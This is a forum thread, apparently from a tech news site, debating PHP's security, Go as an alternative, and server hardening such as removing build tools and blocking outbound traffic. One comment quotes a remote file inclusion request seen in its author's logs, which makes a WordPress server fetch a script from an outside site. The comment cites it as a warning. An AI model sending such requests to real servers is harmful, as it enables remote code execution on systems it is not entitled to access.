[dscrd]

Why would they have a host with PHP installed on the same server where money is handled?! Totally irresponsible.

I'm being serious. Unless you have Facebook's resources (and probably not even then) DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY! If you are, start a migration process today. Whatever you think it'll cost, it'll be worth it.

If you cannot decide from the billions of choices out there, go with Go. It's hardly perfect, but way better and simple.

[ukigumo]

It may come as a surprise to many, but on high security services such as banks, servers that handle critical data cannot have any build tools installed or usable.

Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies.

[feld]

That's BS obscurity. If they can get a shell they can download a compiler anyway.

[spacemanmatt]

Would you say that there is 'limited proof' that C is inherently more dangerous than Java?

I would estimate PHP is inherently more dangerous than C.

[dscrd]

>Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies.

Proof is right there in the article. To have PHP on the live server is a security risk, period.

[sanswork]

Which features of Go would you say make it inherently more secure to use than php given the same developer?

[dscrd]

1. That you do not require any part of Go (except the obvious ones that are inside the compiled binary) to exist on the live server.

2. That Go is designed as a programming language.

[nadams]

> DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY!

Using [your favorite scripting language] doesn't magically make things like SQL injection and other bad practices go away. There are ways to mitigate those issues by using frameworks in those languages - but really the issue here isn't "OMG PHP SUCKS" but rather Wordpress sucks for allowing something like this work:

> wpadmin.php?include=http://someothersite.com/some-bad-script.php

I have seen that numerous times in my logs. There are settings in PHP configuration where you can actually prevent external downloading of scripts.

However, ignoring the scripting language itself - the server itself could have mitigated behind a firewall and not allowing any outbound web browsing (obviously inbound 80 needs to be open - but there is no reason why it should be allowed to "browse" the web). Or even more limited outbound connection.

Go browse some github projects (obviously those not using a framework) by random people in different languages - you will see that given the opportunity people will still do stupid things - even if the language makes it really hard to do it - as the saying goes "life finds a way".